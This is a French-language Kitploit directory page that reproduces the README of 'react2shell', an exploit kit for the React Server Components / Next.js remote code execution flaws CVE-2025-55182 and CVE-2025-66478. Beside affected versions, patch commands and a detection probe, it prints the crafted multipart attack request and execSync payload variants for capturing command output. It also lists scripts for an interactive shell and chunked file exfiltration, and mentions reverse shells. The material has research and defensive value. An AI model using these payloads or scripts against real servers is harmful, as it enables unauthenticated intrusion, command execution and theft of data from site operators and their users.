Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
react2shell — Kit de exploits RCE pour CVE-2025-55182 et CVE-2025-66478 dans les composants serveur React. Comprend plusieurs variantes d'exploits, des scripts de détection, un serveur de test vulnérable et une analyse technique approfondie de la vulnérabilité de désérialisation du protocole Flight. | Kitploit
Outils/GitHubGitHub/freeqaz/react2shell
Analyse Dynamique (Sandboxing)Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubfreeqaz/react2shell

react2shell

68186il y a 9 moisVérifié par Kitploit
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Kit de exploits RCE pour CVE-2025-55182 et CVE-2025-66478 dans les composants serveur React. Comprend plusieurs variantes d'exploits, des scripts de détection, un serveur de test vulnérable et une analyse technique approfondie de la vulnérabilité de désérialisation du protocole Flight.

Partager

React2Shell : RCE 0-day dans React Server Components

CVE-2025-55182 (React) et CVE-2025-66478 (Next.js)

Ce dépôt contient du code d'exploit destiné uniquement aux tests de sécurité autorisés et à des fins éducatives.

Voir aussi : Plusieurs chercheurs ont publié des analyses de cette vulnérabilité. Consultez la section Références pour des perspectives supplémentaires, des techniques d'exploitation et des méthodes de détection.

Qu'est-ce que c'est ?

Le mercredi 3 décembre 2025, une vulnérabilité critique d'exécution de code à distance dans les React Server Components a été divulguée publiquement. Ce bug, surnommé « React2Shell », permet à un attaquant non authentifié d'exécuter du code arbitraire sur n'importe quel serveur exécutant des versions vulnérables de React RSC ou du Next.js App Router en envoyant une seule requête HTTP.

Étant donné l'omniprésence de Next.js – il alimente une part importante du web moderne – l'impact de cette vulnérabilité est sévère. Toute application Next.js utilisant l'App Router (par défaut pour les nouveaux projets depuis Next.js 13) avec RSC activé est vulnérable. Pas de configuration particulière. Pas de points d'accès spécifiques. Simplement une requête POST vers n'importe quelle route.

La vulnérabilité réside dans le protocole « Flight » de React, le format de sérialisation utilisé pour transmettre les données entre le serveur et le client dans les React Server Components. L'absence d'une vérification hasOwnProperty lors de la désérialisation permet de parcourir la chaîne de prototypes, pour finalement atteindre le constructeur JavaScript Function et exécuter du code contrôlé par l'attaquant.

La faille existe dans les paquets react-server-dom-webpack, react-server-dom-turbopack et react-server-dom-parcel de React. Next.js, en tant que consommateur principal de RSC, hérite de la vulnérabilité via son App Router.

Qui est impacté ?

De nombreux services sont potentiellement vulnérables. Next.js est l'un des frameworks React les plus populaires, utilisé par des entreprises de toutes tailles – des start-ups aux grandes entreprises. L'App Router avec React Server Components est l'architecture par défaut pour les nouveaux projets Next.js depuis la version 13, ce qui signifie que la plupart des déploiements Next.js modernes sont affectés.

Toute application utilisant :

  • React Server Components avec des paquets react-server-dom-* vulnérables (19.0.0 - 19.2.0)
  • Next.js App Router versions 15.x (avant 15.0.5) et 16.x (avant 16.0.7)

Cela inclut les déploiements en production sur Vercel, AWS, les infrastructures auto-hébergées et partout ailleurs où les applications Next.js App Router sont exécutées.

Non concernés :

  • Les applications Next.js Pages Router (pas de RSC)
  • Les versions stables Next.js 13.x et 14.x
  • Les applications utilisant uniquement le rendu client de React
  • Les déploiements Edge Runtime (pas de process.mainModule disponible)

Versions affectées

React Server Components

PaquetVulnérableCorrigé
react-server-dom-webpack19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1+
react-server-dom-turbopack19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1+
react-server-dom-parcel19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1+

Next.js

Ligne de versionVulnérableCorrigé
15.0.x< 15.0.515.0.5+
15.1.x< 15.1.915.1.9+
15.2.x< 15.2.615.2.6+
15.3.x< 15.3.615.3.6+
15.4.x< 15.4.815.4.8+
15.5.x< 15.5.715.5.7+
16.0.x< 16.0.716.0.7+

Atténuation

Mettez à jour immédiatement. Il n'existe pas de contournement.

Pour les applications Next.js :

root@kitploit:~
npm install next@latest
# or
pnpm update next

Pour une utilisation directe de React RSC :

root@kitploit:~
npm install react-server-dom-webpack@latest

Vérifiez vos versions installées :

root@kitploit:~
npm ls next react-server-dom-webpack react-server-dom-turbopack

Comment fonctionne l'exploit

Prérequis de l'exploit

  1. Un serveur exécutant des React Server Components vulnérables (via Next.js App Router ou utilisation directe RSC)
  2. Un accès réseau pour envoyer une requête HTTP POST
  3. C'est tout. Pas d'authentification. Pas de point d'accès spécifique. N'importe quelle route fonctionne.

L'attaque

Plusieurs vecteurs d'attaque ont été découverts pour cette vulnérabilité. Le plus courant – et celui qui fonctionne sans aucun prérequis – utilise la pollution de prototype via le système de référence du protocole Flight de React.

L'exploit envoie une requête POST multipart fabriquée avec un en-tête Next-Action. La charge utile abuse du système de référence pour :

  1. Parcourir la chaîne de prototypes via $1:__proto__:then
  2. Construire un faux objet « chunk » qui imite la classe Chunk interne de React
  3. Tromper le désérialiseur pour qu'il appelle le constructeur JavaScript Function
  4. Exécuter du code arbitraire lorsque la fonction résultante est invoquée comme une promesse thenable
root@kitploit:~
POST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x

------Boundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"

"$@0"
------Boundary--

Le code s'exécute pendant la désérialisation, avant toute validation de l'ID d'action. Cela signifie que n'importe quelle valeur d'en-tête Next-Action déclenche le chemin de code vulnérable – aucun ID d'action valide n'est requis.

D'autres vecteurs d'attaque existent, notamment les références de fonction $F et les gadgets de module directs. Ceux-ci nécessitent généralement un ID d'action valide. Voir Vecteurs d'attaque alternatifs pour plus de détails.

La cause racine

Le protocole Flight de React résout les références comme $1:path:to:value en les divisant par les deux-points et en parcourant l'objet :

root@kitploit:~
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // Pas de vérification hasOwnProperty !
}

L'ironie : En haut de ce même fichier, ligne 35 :

root@kitploit:~
import hasOwnProperty from 'shared/hasOwnProperty';

La garde a été importée. Elle était disponible. Elle n'a simplement pas été utilisée dans la seule boucle où elle comptait le plus.

Ce seul contrôle manquant permet à $1:__proto__:then de parcourir un objet chunk, de remonter la chaîne de prototypes jusqu'à Chunk.prototype.then – une fonction qui traite les objets de type Promise. En fabriquant un faux chunk avec les bonnes propriétés, nous contrôlons quel code est exécuté.

Reproduction locale

Clonez le serveur de test vulnérable :

root@kitploit:~
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev

Dans un autre terminal :

root@kitploit:~
./detect.sh http://localhost:3443

Un serveur vulnérable renvoie HTTP 500 avec E{"digest" dans le corps de la réponse. Pour démontrer l'exécution de code :

root@kitploit:~
./exploit-redirect.sh http://localhost:3443 "id"

La sortie de la commande apparaît dans la réponse. Pour une exploration interactive :

root@kitploit:~
./shell.sh http://localhost:3443

Contenu de ce dépôt

Serveur de test vulnérable

Le répertoire vulnerable-next-server/ contient une application Next.js 16.0.6 + React 19.2.0 préconfigurée pour des tests locaux sécurisés. Elle écoute par défaut sur le port 3443. Il s'agit d'une configuration minimale de l'App Router démontrant que les configurations par défaut sont vulnérables.

Scripts d'exploit

Nous avons développé plusieurs variantes d'exploit pour gérer différents scénarios :

ScriptHTTPSortieProductionRemarques
exploit-redirect.sh303en-tête x-action-redirectOuiRecommandé. Aucun prérequis.
exploit-throw.sh500Corps de réponse d'erreurNonMode développement uniquement (erreurs nettoyées en prod).
exploit-blind.sh200Côté serveur uniquementOuiFire-and-forget. Utiliser pour l'exfiltration OOB.
exploit-urlencoded.sh303en-tête x-action-redirectOuiSignature WAF différente. Nécessite un ID d'action.
exploit-reflect.sh200Corps de réponseOuiLe plus discret. Nécessite un ID d'action.

Note sur la production : React supprime les messages d'erreur dans les builds de production, ce qui brise la méthode throw. Seul exploit-redirect.sh capture de manière fiable la sortie des commandes en production sans prérequis. L'URL de redirection est stockée dans la propriété digest de l'erreur (métadonnées), qui n'est pas nettoyée – contrairement à message qui devient {digest: "..."} seulement.

Scripts utilitaires :

  • detect.sh – Sondage de vulnérabilité non destructif (pas d'exécution de code)
  • enumerate-actions.sh – Découvre les ID de Server Action valides à partir du HTML cible
  • exfil-file.sh – Exfiltration de fichiers par morceaux (gère automatiquement les gros fichiers)
  • shell.sh – Pseudo-shell interactif via RCE

La méthode de redirection est recommandée car elle fonctionne en production, ne nécessite aucun prérequis et renvoie directement la sortie des commandes. Elle fonctionne en levant une erreur NEXT_REDIRECT spécialement construite – la sortie est encodée en base64 dans l'URL de redirection et renvoyée dans l'en-tête x-action-redirect.

Pour une utilisation détaillée de chaque script, voir USAGE.md.

Comment détecter les serveurs vulnérables

Détection rapide

root@kitploit:~
./detect.sh https://target.com

Cette commande envoie une sonde minimale qui déclenche le chemin de code vulnérable sans exécuter de code arbitraire.

Réponse d'un serveur vulnérable :

  • Statut HTTP : 500
  • Content-Type : text/x-component
  • Le corps contient : E{"digest"

Serveur corrigé ou sans RSC : Renvoie 404, un format d'erreur différent, ou aucune réponse du protocole Flight.

Détection manuelle

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'

Cette sonde fait référence à une propriété inexistante sur un objet vide. Les serveurs vulnérables plantent en essayant d'accéder à {}.a.a, renvoyant 500. Les serveurs corrigés ont une garde hasOwnProperty qui empêche le plantage.

Identification de Next.js App Router

Recherchez ces indicateurs :

  • Charge utile RSC dans le HTML : balises <script> contenant des données du protocole Flight (0:, 1:, etc.)
  • En-têtes x-nextjs-cache ou x-nextjs-matched-path
  • Chemins d'actifs statiques /_next/
  • IDs de Server Action dans le HTML : motifs $ACTION_ID_ dans les champs de formulaire cachés

Plongée technique approfondie

Le déroulement de l'attaque

Le diagramme suivant illustre comment une seule requête HTTP permet d'exécuter du code à distance :

root@kitploit:~
sequenceDiagram
    participant A as Attaquant
    participant N as Next.js
    participant F as Analyseur Flight
    participant JS as Moteur JS

    A->>N: POST avec en-tête Next-Action + charge utile malveillante
    N->>F: Analyse des données de formulaire multipart
    F->>JS: await getRoot - retourne le chunk comme thenable

    rect rgb(80, 20, 20)
        Note over F,JS: VULNÉRABILITÉ - Pas de vérification hasOwnProperty
        JS->>F: chunk.then analyse $1:__proto__:then
        F-->>F: Traverse jusqu'à Chunk.prototype.then
    end

    F->>JS: resolve(attackerObject)
    Note over JS: Spécification JS Promise: resolve(thenable)<br/>appelle thenable.then()
    JS->>F: fakeChunk.then() avec le _response de l'attaquant

    rect rgb(80, 20, 20)
        Note over F,JS: EXPLOITATION - L'attaquant contrôle _response
        F->>F: $B0 → _formData.get(_prefix + "0")
        Note over F: _formData.get = constructeur Function<br/>_prefix = chaîne de code malveillante
        F->>JS: Function(code) invoquée comme thenable
    end

    Note over JS: RCE - execSync() s'exécute

    rect rgb(20, 60, 20)
        Note over A,JS: EXFILTRATION DE LA SORTIE (méthode de redirection)
        JS-->>F: throw NEXT_REDIRECT avec base64(sortie)
        F-->>N: L'erreur remonte
        N-->>A: HTTP 303 + en-tête x-action-redirect
    end

Le protocole Flight

Les React Server Components utilisent un format de sérialisation personnalisé appelé « Flight » pour diffuser les arbres de composants du serveur au client. Il utilise des codes de préfixe pour différents types de valeurs :

  • $1, $2, ... – Références à d'autres chunks par ID
  • $@0 – Référence brute à un objet chunk (renvoie le chunk lui-même, pas sa valeur)
  • $B0 – Référence à un Blob (déclenche _formData.get(_prefix + id))
  • $1:path:to:prop – Parcourt un chemin sur la valeur d'un chunk référencé

La vulnérabilité exploite la combinaison de $@ (référence brute) et des chemins délimités par des deux-points pour accéder à __proto__.

La chaîne d'attaque complète

Phase 1 : Traitement de la requête

  1. POST avec en-tête Next-Action déclenche la gestion des actions RSC
  2. Busboy analyse les champs de formulaire multipart dans le stockage de chunks
  3. await getRoot(response) renvoie le chunk 0 comme une thenable

Phase 2 : Parcours du prototype

  1. Le chunk possède une méthode then – la spécification JS Promise appelle thenable.then(resolve, reject)
  2. Notre charge utile est analysée ; $1:__proto__:then se résout en Chunk.prototype.then
  3. Un objet chunk factice est créé avec then, status: "resolved_model" et _response

Phase 3 : Exécution de code

  1. resolve(ourObject) déclenche un autre appel then() (spécification JS thenable)
  2. Chunk.prototype.then s'exécute en utilisant notre objet _response contrôlé
  3. $B0 déclenche _formData.get(_prefix + "0") – les deux sont contrôlés par l'attaquant
  4. La Function construite est appelée comme thenable → RCE

Phase 4 : Exfiltration de la sortie (optionnelle, méthode de redirection)

  1. La charge utile lève une erreur NEXT_REDIRECT avec la sortie de la commande encodée en base64
  2. Next.js intercepte la redirection, définit l'en-tête x-action-redirect avant la validation de l'URL
  3. HTTP 303 renvoyé à l'attaquant avec la sortie dans l'en-tête

Stratégies de capture de sortie

La Function construite est appelée comme une thenable : fn(resolve, reject). La façon dont nous la gérons détermine si nous récupérons la sortie :

StratégieSuffixe de la charge utileFonctionnement
AveugleexecSync('CMD');0Exécute mais ne résout jamais – la connexion reste bloquée, pas de sortie
Throwthrow execSync('CMD').toString()Rejette la Promise, sortie dans le corps de l'erreur (mode développement uniquement)
Redirectionthrow {digest:'NEXT_REDIRECT;...;'+b64(output)}Abuse de la gestion des redirections Next.js, sortie dans l'en-tête
Refletarguments[0](https://github.com/freeqaz/react2shell/blob/master/%5BexecSync%28%27CMD%27).toString()])Résout la Promise avec la sortie comme argument d'action (nécessite un ID d'action valide)

Recommandé : Redirection. Fonctionne en production, aucun prérequis, sortie dans l'en-tête x-action-redirect.

L'approche aveugle bloque car la Promise ne se termine jamais – await bloque indéfiniment. Utile pour les scénarios fire-and-forget (reverse shells, exfiltration hors bande via curl).

Vecteurs d'attaque alternatifs

La vulnérabilité principale a été exploitée via trois classes d'attaque distinctes. Ce dépôt utilise la première approche ; d'autres PoC démontrent les alternatives :

Classe d'attaqueMécanismeID d'action requisExemple de PoC
Pollution de prototypeParcours $1:__proto__:then vers Chunk.prototypeNonreact2shell, lachlan2k, joe-desimone
Référence de fonction $F$F1 + action#constructor pour atteindre FunctionOuishellinteractive
Gadget de moduleSyntaxe module#export (ex. child_process#execSync)VarieRecherche ejpir

Pourquoi la pollution de prototype ne nécessite pas d'ID d'action : L'analyse des formulaires multipart alimente les chunks au désérialiseur Flight immédiatement. L'exécution de code a lieu dans getOutlinedModel() pendant la résolution des références de chunk – avant que Next.js ne valide l'ID d'action. Les requêtes encodées en URL valident l'ID d'action en premier (chemin de code différent à action-handler.ts:768).

Pourquoi la référence $F nécessite un ID d'action : La référence $F déclenche loadServerReference(), qui effectue une recherche dans le manifeste. Si l'action n'existe pas, la requête échoue avant l'exécution du code.

Pour une analyse détaillée de toutes les implémentations de PoC et leurs compromis, voir external-pocs/COMPARISON.md.

Production vs Développement

React supprime les détails d'erreur dans les builds de production. Cela affecte l'exfiltration basée sur le throw :

Développement :

root@kitploit:~
{"digest":"...","name":"Error","message":"uid=501(free)...","stack":[...]}

Production :

root@kitploit:~
{"digest":"..."}

La méthode de redirection contourne cela car l'URL de redirection est stockée dans la propriété digest, pas dans message. L'en-tête est défini inconditionnellement avant la validation de l'URL, donc même les URL invalides reçoivent l'en-tête.

Remerciements

L'idée clé de l'exploitation – utiliser les références brutes $@ pour créer un faux chunk auto-référent – est attribuée à maple3142. La méthodologie de détection référencée ici provient de Searchlight Cyber / Assetnote.

Références

Divulgations officielles :

  • CVE-2025-55182 - RCE dans React Server Components
  • CVE-2025-66478 - Impact en aval de Next.js
  • Avis de sécurité React - Divulgation officielle de React

Recherche communautaire :

AuteurContributionChemin d'attaqueFonctionnalités notables
lachlan2kDécouvreur originalPollution de prototypeChaînage Array.map, structure à 5 chunks, support Waku
ejpirRecherche de gadgetsTous les cheminsCatalogue de gadgets de module, attaques persistantes, chemin d'URI de données
joe-desimoneOutillage PythonPollution de prototypeAide au reverse shell, exfiltration par callback, détection de timeout
labubusDest / MrR0b0t19Shell interactifRéférence de fonction $FREPL Python, téléchargement/téléversement de fichiers, suite de tests intégrée
Searchlight CyberMéthodes de détection—Méthodologie de détection haute-fidélité, signatures WAF

Pour une comparaison détaillée de toutes les implémentations de PoC, voir external-pocs/COMPARISON.md.

Contexte :

  • React Flight Protocol - Comprendre la sérialisation RSC

Licence

Le code est sous licence MIT. La documentation (*.md files) est sous licence CC-BY-SA 4.0.

Télécharger l’outil